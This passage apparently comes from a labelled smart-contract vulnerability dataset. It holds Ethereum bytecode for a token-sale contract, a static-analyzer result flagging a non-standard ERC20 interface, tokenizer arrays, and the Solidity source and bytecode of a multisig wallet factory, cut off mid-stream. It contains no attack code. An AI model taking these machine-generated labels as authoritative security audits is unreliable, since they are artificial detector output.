9190613035565b6040518060400160405280601581526020017f546f6b656e207472616e73666572206661696c6564000000000000000000000081525090612578576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161256f91906132bf565b60405180910390fd5b505b47905060008111156125f057600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156125ee573d6000803e3d6000fd5b505b50565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff1660e01b815260040161265293929190613244565b600060405180830381600087803b15801561266c57600080fd5b505af1158015612680573d6000803e3d6000fd5b5050505061268e3382612c55565b80600f6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546126ff9190613398565b9250508190555050565b6012600a6127179190613472565b620b71b06127259190613590565b81565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600e60149054906101000a900460ff161561279e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161279590613301565b60405180910390fd5b600054421180156127b0575060015442105b6127ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127e690613321565b60405180910390fd5b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b815260040161284c92919061327b565b602060405180830381600087803b15801561286657600080fd5b505af115801561287a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061289e9190613035565b6040518060400160405280601581526020017f546f6b656e207472616e73666572206661696c6564000000000000000000000081525090612915576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161290c91906132bf565b60405180910390fd5b505050565b600e60149054906101000a900460ff161561296a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161296190613301565b60405180910390fd5b6000544211801561297c575060015442105b6129bb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129b290613321565b60405180910390fd5b60006305f5e1006129ca611b8c565b836129d59190613590565b6129df91906133ee565b905080600460008282546129f39190613398565b9250508190555060035460045411156040518060400160405280601881526020017f546f6b656e2073616c65206c696d69742072656163686564000000000000000081525090612a79576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a7091906132bf565b60405180910390fd5b5080601060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612ac99190613398565b92505081905550601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16612bf8576012600a612b2f9190613472565b620b71b0612b3d9190613590565b601060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411156040518060400160405280601681526020017f414d4c2073616c65206c696d697420726561636865640000000000000000000081525090612bf6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612bed91906132bf565b60405180910390fd5b505b612c02838261274e565b8273ffffffffffffffffffffffffffffffffffffffff167fed1e91226d335fbe21275034bc5a21e185ea9a4d99971eea5c82ef7006f3db5483604051612c489190613361565b60405180910390a2505050565b600e60149054906101000a900460ff1615612ca5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c9c90613301565b60405180910390fd5b60005442118015612cb7575060015442105b612cf6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ced90613321565b60405180910390fd5b6000620f424060055483612d0a9190613590565b612d1491906133ee565b90508060046000828254612d289190613398565b9250508190555060035460045411156040518060400160405280601881526020017f546f6b656e2073616c65206c696d69742072656163686564000000000000000081525090612dae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612da591906132bf565b60405180910390fd5b5080601060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612dfe9190613398565b92505081905550601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16612f2d576012600a612e649190613472565b620b71b0612e729190613590565b601060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411156040518060400160405280601681526020017f414d4c2073616c65206c696d697420726561636865640000000000000000000081525090612f2b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f2291906132bf565b60405180910390fd5b505b612f37838261274e565b8273ffffffffffffffffffffffffffffffffffffffff167feff6d4138c391388ee3daa89271699e1ce9df518b6184fd0733885a131f43e2183604051612f7d9190613361565b60405180910390a2505050565b600081359050612f99816137de565b92915050565b600081519050612fae816137f5565b92915050565b600081519050612fc38161380c565b92915050565b600081359050612fd881613823565b92915050565b600081519050612fed81613823565b92915050565b6000815190506130028161383a565b92915050565b60006020828403121561301e5761301d613717565b5b600061302c84828501612f8a565b91505092915050565b60006020828403121561304b5761304a613717565b5b600061305984828501612f9f565b91505092915050565b60006020828403121561307857613077613717565b5b600061308684828501612fc9565b91505092915050565b6000602082840312156130a5576130a4613717565b5b60006130b384828501612fde565b91505092915050565b600080600080600060a086880312156130d8576130d7613717565b5b60006130e688828901612ff3565b95505060206130f788828901612fb4565b945050604061310888828901612fde565b935050606061311988828901612fde565b925050608061312a88828901612ff3565b9150509295509295909350565b6131408161361e565b82525050565b61314f81613630565b82525050565b60006131608261337c565b61316a8185613387565b935061317a818560208601613686565b6131838161371c565b840191505092915050565b600061319b601783613387565b91506131a68261373a565b602082019050919050565b60006131be600a83613387565b91506131c982613763565b602082019050919050565b60006131e1601483613387565b91506131ec8261378c565b602082019050919050565b6000613204600d83613387565b915061320f826137b5565b602082019050919050565b61322381613666565b82525050565b600060208201905061323e6000830184613137565b92915050565b60006060820190506132596000830186613137565b6132666020830185613137565b613273604083018461321a565b949350505050565b60006040820190506132906000830185613137565b61329d602083018461321a565b9392505050565b60006020820190506132b96000830184613146565b92915050565b600060208201905081810360008301526132d98184613155565b905092915050565b600060208201905081810360008301526132fa8161318e565b9050919050565b6000602082019050818103600083015261331a816131b1565b9050919050565b6000602082019050818103600083015261333a816131d4565b9050919050565b6000602082019050818103600083015261335a816131f7565b9050919050565b6000602082019050613376600083018461321a565b92915050565b600081519050919050565b600082825260208201905092915050565b60006133a382613666565b91506133ae83613666565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156133e3576133e26136b9565b5b828201905092915050565b60006133f982613666565b915061340483613666565b925082613414576134136136e8565b5b828204905092915050565b6000808291508390505b600185111561346957808604811115613445576134446136b9565b5b60018516156134545780820291505b80810290506134628561372d565b9450613429565b94509492505050565b600061347d82613666565b915061348883613666565b92506134b57fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846134bd565b905092915050565b6000826134cd5760019050613589565b816134db5760009050613589565b81600181146134f157600281146134fb5761352a565b6001915050613589565b60ff84111561350d5761350c6136b9565b5b8360020a915084821115613524576135236136b9565b5b50613589565b5060208310610133831016604e8410600b841016171561355f5782820a90508381111561355a576135596136b9565b5b613589565b61356c848484600161341f565b92509050818404811115613583576135826136b9565b5b81810290505b9392505050565b600061359b82613666565b91506135a683613666565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156135df576135de6136b9565b5b828202905092915050565b60006135f582613666565b915061360083613666565b925082821015613613576136126136b9565b5b828203905092915050565b600061362982613646565b9050919050565b60008115159050919050565b6000819050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600069ffffffffffffffffffff82169050919050565b60005b838110156136a4578082015181840152602081019050613689565b838111156136b3576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600080fd5b6000601f19601f8301169050919050565b60008160011c9050919050565b7f4f6e6c7920666f7220636f6e7472616374204f776e6572000000000000000000600082015250565b7f53616c6520656e64656400000000000000000000000000000000000000000000600082015250565b7f546f6f20736f6f6e206f7220746f6f206c617465000000000000000000000000600082015250565b7f4f6e6c79204e65774f776e657200000000000000000000000000000000000000600082015250565b6137e78161361e565b81146137f257600080fd5b50565b6137fe81613630565b811461380957600080fd5b50565b6138158161363c565b811461382057600080fd5b50565b61382c81613666565b811461383757600080fd5b50565b61384381613670565b811461384e57600080fd5b5056fea2646970667358221220953cafc75f11cbe9472d1f56baea7626855ff5dbf362a295a29c7f1bf4531ed964736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'erc20-interface', 'impact': 'Medium', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 2575, 16932, 29097, 26187, 2487, 2063, 2620, 23833, 2050, 2509, 2278, 2629, 2050, 23499, 2575, 2509, 2546, 2575, 2620, 2094, 2581, 2497, 2581, 23632, 2692, 2050, 17914, 21619, 27531, 2475, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 27730, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1021, 1025, 1013, 1013, 11660, 8202, 3240, 1012, 22834, 2270, 5096, 3206, 1011, 3081, 6540, 3597, 7076, 1010, 3802, 2232, 1998, 25610, 13535, 1013, 1013, 1013, 1013, 2224, 2069, 2219, 15882, 1006, 18804, 9335, 2243, 1010, 3404, 9628, 3388, 1010, 29461, 6844, 2099, 1010, 27106, 1012, 1012, 1012, 1007, 1013, 1013, 2079, 2025, 4604, 2013, 15800, 2030, 2151, 2578, 1013, 1013, 1013, 1013, 2224, 2069, 3802, 2232, 2897, 1010, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,023
0x961506a96181387e09b0ad5cb0cf029c862c97c7
// SPDX-License-Identifier: MIT pragma solidity 0.8.0; import "./MultiSignWallet.sol"; contract MultiSignWalletFactory { event NewWallet(address indexed wallet); function create(address[] calldata _owners, uint _required, bytes32 salt, bool _securitySwitch, uint _inactiveInterval) public returns (address) { MultiSignWallet wallet = new MultiSignWallet{salt: salt}(); wallet.initialize(_owners, _required, _securitySwitch, _inactiveInterval); emit NewWallet(address(wallet)); return address(wallet); } }
0x608060405234801561001057600080fd5b506004361061002b5760003560e01c8063c9b88aa714610030575b600080fd5b61004361003e36600461013f565b610059565b60405161005091906101df565b60405180910390f35b6000808460405161006990610132565b8190604051809103906000f5905080158015610089573d6000803e3d6000fd5b5060405163b8fc3e3560e01b81529091506001600160a01b0382169063b8fc3e35906100c1908b908b908b908a908a906004016101f3565b600060405180830381600087803b1580156100db57600080fd5b505af11580156100ef573d6000803e3d6000fd5b50506040516001600160a01b03841692507fd627a1aeb13261b560c345aaf7d003d55a27193b9284c0b941f53cd62a045f169150600090a2979650505050505050565b6136dd8061025a83390190565b60008060008060008060a08789031215610157578182fd5b863567ffffffffffffffff8082111561016e578384fd5b818901915089601f830112610181578384fd5b81358181111561018f578485fd5b8a602080830285010111156101a2578485fd5b60209283019850965050870135935060408701359250606087013580151581146101ca578283fd5b80925050608087013590509295509295509295565b6001600160a01b0391909116815260200190565b6080808252810185905260008660a08301825b8881101561023a5782356001600160a01b038116808214610225578586fd5b83525060209283019290910190600101610206565b506020840196909652505091151560408301526060909101529291505056fe60806040526000805461ff0019168155600181905560025534801561002357600080fd5b506136aa806100336000396000f3fe60806040526004361061010d5760003560e01c80636e2c66df11610095578063b8fc3e3511610064578063b8fc3e35146102fa578063c263d82a1461031a578063de85cd081461032f578063ebca3a4b14610344578063fff0b488146103645761015c565b80636e2c66df146102785780637ce4145c146102985780639369a0b1146102b8578063a0e67e2b146102d85761015c565b80633a4cfc11116100dc5780633a4cfc11146101f957806343d32db014610219578063548aa0631461022e578063564b81ef1461024e5780636bc54bc5146102635761015c565b806306c40916146101615780631398a5f6146101975780632f54bf6e146101b957806336b826e6146101d95761015c565b3661015c57341561015a57336001600160a01b03167fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c34604051610151919061350c565b60405180910390a25b005b600080fd5b34801561016d57600080fd5b5061018161017c36600461298c565b610384565b60405161018e9190612ce6565b60405180910390f35b3480156101a357600080fd5b506101ac610507565b60405161018e919061350c565b3480156101c557600080fd5b506101816101d436600461262b565b610599565b3480156101e557600080fd5b506101ac6101f43660046129db565b6105ba565b34801561020557600080fd5b506101816102143660046128ab565b6105cc565b34801561022557600080fd5b506101816106c0565b34801561023a57600080fd5b506101816102493660046127c9565b6106ce565b34801561025a57600080fd5b506101ac6107c4565b34801561026f57600080fd5b506101ac6107c8565b34801561028457600080fd5b506101816102933660046128ab565b6107ce565b3480156102a457600080fd5b506101816102b336600461270a565b6108b3565b3480156102c457600080fd5b506101816102d33660046129f3565b610a60565b3480156102e457600080fd5b506102ed610bbf565b60405161018e9190612c99565b34801561030657600080fd5b5061015a61031536600461284c565b610c21565b34801561032657600080fd5b506101ac610f0c565b34801561033b57600080fd5b506101ac610f12565b34801561035057600080fd5b5061018161035f366004612647565b610f18565b34801561037057600080fd5b5061018161037f3660046129f3565b610f9c565b6000805460ff166103b05760405162461bcd60e51b81526004016103a79061313c565b60405180910390fd5b81428110156103d15760405162461bcd60e51b81526004016103a790613173565b600054610100900460ff1615158915146103fd5760405162461bcd60e51b81526004016103a79061320b565b600061040a8a8a8a6110c5565b9050610415816105ba565b156104325760405162461bcd60e51b81526004016103a790613395565b600081815260066020526040902043905561044f81888888611114565b61046b5760405162461bcd60e51b81526004016103a7906131df565b89156104ad576000805461ff0019166101001790556203f4808910156104a35760405162461bcd60e51b81526004016103a790612dcc565b60018990556104bc565b6000805461ff00191681556001555b7fe10b1ae0e71550e9844ba03e546b93d67f16c7a12961f645b74d0b456e8e06d68a6001546040516104ef929190612cf1565b60405180910390a15060019998505050505050505050565b60008054610100900460ff166105205750600554610596565b600154600254429161053191613563565b8111610541575050600554610596565b61056f6203f4806105696001546105636002548661131790919063ffffffff16565b90611317565b90611359565b9050806005541115610590576005546105889082611317565b915050610596565b50600190505b90565b6001600160a01b03811660009081526003602052604090205415155b919050565b60009081526006602052604090205490565b6000805460ff166105ef5760405162461bcd60e51b81526004016103a79061313c565b81428110156106105760405162461bcd60e51b81526004016103a790613173565b61061a898961139b565b6106365760405162461bcd60e51b81526004016103a79061320b565b60006106438a8a8a611421565b905061064e816105ba565b1561066b5760405162461bcd60e51b81526004016103a790613395565b600081815260066020526040902043905561068881888888611114565b6106a45760405162461bcd60e51b81526004016103a7906131df565b60606106b1818c8c611444565b9b9a5050505050505050505050565b600054610100900460ff1690565b6000805460ff166106f15760405162461bcd60e51b81526004016103a79061313c565b81428110156107125760405162461bcd60e51b81526004016103a790613173565b61071d8a8a8a61180e565b6107395760405162461bcd60e51b81526004016103a79061320b565b60006107478b8b8b8b6118b5565b9050610752816105ba565b1561076f5760405162461bcd60e51b81526004016103a790613395565b600081815260066020526040902043905561078c81888888611114565b6107a85760405162461bcd60e51b81526004016103a7906131df565b6107b38b8b8b611444565b9250505b5098975050505050505050565b4690565b60055490565b6000805460ff166107f15760405162461bcd60e51b81526004016103a79061313c565b81428110156108125760405162461bcd60e51b81526004016103a790613173565b61081c8989611905565b6108385760405162461bcd60e51b81526004016103a79061320b565b60006108458a8a8a611421565b9050610850816105ba565b1561086d5760405162461bcd60e51b81526004016103a790613395565b600081815260066020526040902042905561088a81888888611114565b6108a65760405162461bcd60e51b81526004016103a7906131df565b60606106b18b828c611444565b6000805460ff166108d65760405162461bcd60e51b81526004016103a79061313c565b81428110156108f75760405162461bcd60e51b81526004016103a790613173565b6001600160a01b038a163014156109205760405162461bcd60e51b81526004016103a790612f69565b600061092e8b8b8b8861196f565b9050610939816105ba565b156109565760405162461bcd60e51b81526004016103a790613395565b600081815260066020526040902043905561097381898989611114565b61098f5760405162461bcd60e51b81526004016103a7906131df565b60008b6001600160a01b03168b876040516109aa9190612c42565b60006040518083038185875af1925050503d80600081146109e7576040519150601f19603f3d011682016040523d82523d6000602084013e6109ec565b606091505b5050905080610a0d5760405162461bcd60e51b81526004016103a79061345f565b8b6001600160a01b03167fa9153cffbeedefe85a686385023f0e7eb370259bd26536b3e116debbebe7237a8c604051610a46919061350c565b60405180910390a25060019b9a5050505050505050505050565b6000805460ff16610a835760405162461bcd60e51b81526004016103a79061313c565b8142811015610aa45760405162461bcd60e51b81526004016103a790613173565b600054610100900460ff16610acb5760405162461bcd60e51b81526004016103a79061307b565b60008054610ae290610100900460ff168a8a6110c5565b9050610aed816105ba565b15610b0a5760405162461bcd60e51b81526004016103a790613395565b6000818152600660205260409020439055610b2781888888611114565b610b435760405162461bcd60e51b81526004016103a7906131df565b6203f480891015610b665760405162461bcd60e51b81526004016103a790612dcc565b60018990556000546040517fe10b1ae0e71550e9844ba03e546b93d67f16c7a12961f645b74d0b456e8e06d691610ba89161010090910460ff16908c90612cf1565b60405180910390a150600198975050505050505050565b60606004805480602002602001604051908101604052809291908181526020018280548015610c1757602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311610bf9575b5050505050905090565b60005460ff1615610c445760405162461bcd60e51b81526004016103a7906132e5565b6001831015610c655760405162461bcd60e51b81526004016103a79061331c565b8115610ceb576203f480811015610c8e5760405162461bcd60e51b81526004016103a790612dcc565b6000805461ff0019166101008415158102919091179182905560018390556040517fe10b1ae0e71550e9844ba03e546b93d67f16c7a12961f645b74d0b456e8e06d692610ce29260ff910416908490612cf1565b60405180910390a15b60005b8451811015610e7e5760006001600160a01b0316858281518110610d2257634e487b7160e01b600052603260045260246000fd5b60200260200101516001600160a01b03161415610d515760405162461bcd60e51b81526004016103a7906131a8565b600060036000878481518110610d7757634e487b7160e01b600052603260045260246000fd5b60200260200101516001600160a01b03166001600160a01b03168152602001908152602001600020541115610dbe5760405162461bcd60e51b81526004016103a790613105565b4260036000878481518110610de357634e487b7160e01b600052603260045260246000fd5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002081905550848181518110610e2f57634e487b7160e01b600052603260045260246000fd5b60200260200101516001600160a01b03167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a280610e7681613607565b915050610cee565b508284511015610ea05760405162461bcd60e51b81526004016103a790613496565b60058390556040517ff4cc35b7dc3148d481676276fd8386838b50a99081ab84673fdd3ce007faded490610ed590859061350c565b60405180910390a18351610ef0906004906020870190612404565b50610ef9611994565b50506000805460ff191660011790555050565b60015490565b60025490565b6000805460ff16610f3b5760405162461bcd60e51b81526004016103a79061313c565b8142811015610f5c5760405162461bcd60e51b81526004016103a790613173565b6001600160a01b038a16610f7f57610f7889898989898961199a565b91506107b7565b610f8e8a8a8a8a8a8a8a611b06565b9a9950505050505050505050565b6000805460ff16610fbf5760405162461bcd60e51b81526004016103a79061313c565b8142811015610fe05760405162461bcd60e51b81526004016103a790613173565b60018810156110015760405162461bcd60e51b81526004016103a79061331c565b6004548811156110235760405162461bcd60e51b81526004016103a790613233565b600061102f8989611c05565b905061103a816105ba565b156110575760405162461bcd60e51b81526004016103a790613395565b600081815260066020526040902043905561107481888888611114565b6110905760405162461bcd60e51b81526004016103a7906131df565b60058990556040517ff4cc35b7dc3148d481676276fd8386838b50a99081ab84673fdd3ce007faded490610ba8908b9061350c565b600080306110d16107c4565b8686866040516020016110e8959493929190612be3565b60405160208183030381529060405280519060200120905061110981611c43565b9150505b9392505050565b6000825184511461112457600080fd5b815183511461113257600080fd5b6004548451111561114257600080fd5b61114a610507565b8451101561115757600080fd5b6000845167ffffffffffffffff81111561118157634e487b7160e01b600052604160045260246000fd5b6040519080825280602002602001820160405280156111aa578160200160208202803683370190505b50905060005b85518110156112d3576001878783815181106111dc57634e487b7160e01b600052603260045260246000fd5b6020026020010151601b6111f0919061357b565b87848151811061121057634e487b7160e01b600052603260045260246000fd5b602002602001015187858151811061123857634e487b7160e01b600052603260045260246000fd5b60200260200101516040516000815260200160405260405161125d9493929190612d01565b6020604051602081039080840390855afa15801561127f573d6000803e3d6000fd5b505050602060405103518282815181106112a957634e487b7160e01b600052603260045260246000fd5b6001600160a01b0390921660209283029190910190910152806112cb81613607565b9150506111b0565b506112dd81611caf565b6112f95760405162461bcd60e51b81526004016103a790612d52565b61130281611ddc565b5061130b611994565b50600195945050505050565b600061110d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611e4d565b600061110d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611e7e565b6000808351116113bd5760405162461bcd60e51b81526004016103a790612eb9565b60018210156113de5760405162461bcd60e51b81526004016103a79061331c565b82516004546113ee908290611eac565b9050828110156114105760405162461bcd60e51b81526004016103a790613414565b61141984611edb565b949350505050565b6000803061142d6107c4565b8686866040516020016110e8959493929190612baa565b6000805b84518110156116775760005b6004548110156116645785828151811061147e57634e487b7160e01b600052603260045260246000fd5b60200260200101516001600160a01b0316600482815481106114b057634e487b7160e01b600052603260045260246000fd5b6000918252602090912001546001600160a01b0316141561165257600060036000600484815481106114f257634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b0316835282019290925260400190205560048054611527906001906135c0565b8154811061154557634e487b7160e01b600052603260045260246000fd5b600091825260209091200154600480546001600160a01b03909216918390811061157f57634e487b7160e01b600052603260045260246000fd5b9060005260206000200160006101000a8154816001600160a01b0302191690836001600160a01b0316021790555060048054806115cc57634e487b7160e01b600052603160045260246000fd5b600082815260209020810160001990810180546001600160a01b0319169055019055855186908390811061161057634e487b7160e01b600052603260045260246000fd5b60200260200101516001600160a01b03167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a2611664565b8061165c81613607565b915050611454565b508061166f81613607565b915050611448565b5060005b83518110156117a45760048482815181106116a657634e487b7160e01b600052603260045260246000fd5b6020908102919091018101518254600181018455600093845291832090910180546001600160a01b0319166001600160a01b039092169190911790558451429160039187908590811061170957634e487b7160e01b600052603260045260246000fd5b60200260200101516001600160a01b03166001600160a01b031681526020019081526020016000208190555083818151811061175557634e487b7160e01b600052603260045260246000fd5b60200260200101516001600160a01b03167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a28061179c81613607565b91505061167b565b506004548211156117c75760405162461bcd60e51b81526004016103a790613233565b60058290556040517ff4cc35b7dc3148d481676276fd8386838b50a99081ab84673fdd3ce007faded4906117fc90849061350c565b60405180910390a15060019392505050565b60008084511180611820575060008351115b61183c5760405162461bcd60e51b81526004016103a790612fe2565b600182101561185d5760405162461bcd60e51b81526004016103a790612e75565b6118668461205e565b5061187083611edb565b50600454845184516118889190610563908490611eac565b9050828110156118aa5760405162461bcd60e51b81526004016103a79061302e565b506001949350505050565b600080306118c16107c4565b878787876040516020016118da96959493929190612b67565b6040516020818303038152906040528051906020012090506118fb81611c43565b9695505050505050565b6000808351118015611918575060018210155b6119345760405162461bcd60e51b81526004016103a7906134e0565b6004548351611944908290611317565b9050828110156119665760405162461bcd60e51b81526004016103a790613233565b6114198461205e565b6000803061197b6107c4565b878787876040516020016118da96959493929190612b11565b42600255565b60006001600160a01b0387163014156119c55760405162461bcd60e51b81526004016103a790612f69565b600086116119e55760405162461bcd60e51b81526004016103a7906132ae565b85471015611a055760405162461bcd60e51b81526004016103a790612e12565b6000611a1460008989896121e2565b9050611a1f816105ba565b15611a3c5760405162461bcd60e51b81526004016103a790613395565b6000818152600660205260409020439055611a5981868686611114565b611a755760405162461bcd60e51b81526004016103a7906131df565b6040516001600160a01b0389169088156108fc029089906000818181858888f19350505050158015611aab573d6000803e3d6000fd5b50876001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef89604051611af0919061350c565b60405180910390a3506001979650505050505050565b60006001600160a01b038716301415611b315760405162461bcd60e51b81526004016103a790612f69565b6000611b3f898989896121e2565b9050611b4a816105ba565b15611b675760405162461bcd60e51b81526004016103a790613395565b6000818152600660205260409020439055611b8481868686611114565b611ba05760405162461bcd60e51b81526004016103a7906131df565b611bab898989612207565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef89604051611bee919061350c565b60405180910390a350600198975050505050505050565b60008030611c116107c4565b8585604051602001611c269493929190612c18565b604051602081830303815290604052805190602001209050611419815b6000806040518060400160405280601c81526020017f19457468657265756d205369676e6564204d6573736167653a0a33320000000081525090508083604051602001611c91929190612c5e565b60405160208183030381529060405280519060200120915050919050565b60045481516000911015611cc5575060006105b5565b60005b8251811015611dd35760036000848381518110611cf557634e487b7160e01b600052603260045260246000fd5b60200260200101516001600160a01b03166001600160a01b031681526020019081526020016000205460001415611d305760009150506105b5565b60005b81811015611dc057838281518110611d5b57634e487b7160e01b600052603260045260246000fd5b60200260200101516001600160a01b0316848281518110611d8c57634e487b7160e01b600052603260045260246000fd5b60200260200101516001600160a01b03161415611dae576000925050506105b5565b80611db881613607565b915050611d33565b5080611dcb81613607565b915050611cc8565b50600192915050565b6000805b8251811015611dd3574260036000858481518110611e0e57634e487b7160e01b600052603260045260246000fd5b60200260200101516001600160a01b03166001600160a01b03168152602001908152602001600020819055508080611e4590613607565b915050611de0565b60008184841115611e715760405162461bcd60e51b81526004016103a79190612d1f565b50600061110984866135c0565b60008183611e9f5760405162461bcd60e51b81526004016103a79190612d1f565b50600061110984866135a0565b600080611eb98385613563565b90508381101561110d5760405162461bcd60e51b81526004016103a790612efb565b6000805b8251811015611dd35760006001600160a01b0316838281518110611f1357634e487b7160e01b600052603260045260246000fd5b60200260200101516001600160a01b03161415611f425760405162461bcd60e51b81526004016103a790612e3e565b60036000848381518110611f6657634e487b7160e01b600052603260045260246000fd5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002054600014611fae5760405162461bcd60e51b81526004016103a790612fa0565b60005b8181101561204b57838281518110611fd957634e487b7160e01b600052603260045260246000fd5b60200260200101516001600160a01b031684828151811061200a57634e487b7160e01b600052603260045260246000fd5b60200260200101516001600160a01b031614156120395760405162461bcd60e51b81526004016103a790613279565b8061204381613607565b915050611fb1565b508061205681613607565b915050611edf565b6000805b8251811015611dd35760006001600160a01b031683828151811061209657634e487b7160e01b600052603260045260246000fd5b60200260200101516001600160a01b031614156120c55760405162461bcd60e51b81526004016103a790612f32565b600360008483815181106120e957634e487b7160e01b600052603260045260246000fd5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002054600014156121325760405162461bcd60e51b81526004016103a790612d89565b60005b818110156121cf5783828151811061215d57634e487b7160e01b600052603260045260246000fd5b60200260200101516001600160a01b031684828151811061218e57634e487b7160e01b600052603260045260246000fd5b60200260200101516001600160a01b031614156121bd5760405162461bcd60e51b81526004016103a7906130c2565b806121c781613607565b915050612135565b50806121da81613607565b915050612062565b600080306121ee6107c4565b878787876040516020016118da96959493929190612ace565b61225d8363a9059cbb60e01b8484604051602401612226929190612c80565b60408051601f198184030181529190526020810180516001600160e01b03166001600160e01b031990931692909217909152612262565b505050565b60006122b7826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b03166122f19092919063ffffffff16565b80519091501561225d57808060200190518101906122d59190612970565b61225d5760405162461bcd60e51b81526004016103a7906133ca565b60606114198484600085856123058561239a565b6123215760405162461bcd60e51b81526004016103a79061335e565b600080866001600160a01b0316858760405161233d9190612c42565b60006040518083038185875af1925050503d806000811461237a576040519150601f19603f3d011682016040523d82523d6000602084013e61237f565b606091505b509150915061238f8282866123cb565b979650505050505050565b600080826001600160a01b0316803b806020016040519081016040528181526000908060200190933c511192915050565b606083156123da57508161110d565b8251156123ea5782518084602001fd5b8160405162461bcd60e51b81526004016103a79190612d1f565b828054828255906000526020600020908101928215612459579160200282015b8281111561245957825182546001600160a01b0319166001600160a01b03909116178255602090920191600190910190612424565b50612465929150612469565b5090565b5b80821115612465576000815560010161246a565b80356105b58161364e565b600082601f830112612499578081fd5b813560206124ae6124a98361353f565b613515565b82815281810190858301838502870184018810156124ca578586fd5b855b858110156124f15781356124df8161364e565b845292840192908401906001016124cc565b5090979650505050505050565b600082601f83011261250e578081fd5b8135602061251e6124a98361353f565b828152818101908583018385028701840188101561253a578586fd5b855b858110156124f15781358452928401929084019060010161253c565b600082601f830112612568578081fd5b813560206125786124a98361353f565b8281528181019085830183850287018401881015612594578586fd5b855b858110156124f157813560ff811681146125ae578788fd5b84529284019290840190600101612596565b600082601f8301126125d0578081fd5b813567ffffffffffffffff8111156125ea576125ea613638565b6125fd601f8201601f1916602001613515565b818152846020838601011115612611578283fd5b816020850160208301379081016020019190915292915050565b60006020828403121561263c578081fd5b813561110d8161364e565b600080600080600080600080610100898b031215612663578384fd5b61266c8961247e565b975061267a60208a0161247e565b96506040890135955060608901359450608089013567ffffffffffffffff808211156126a4578586fd5b6126b08c838d01612558565b955060a08b013591508082111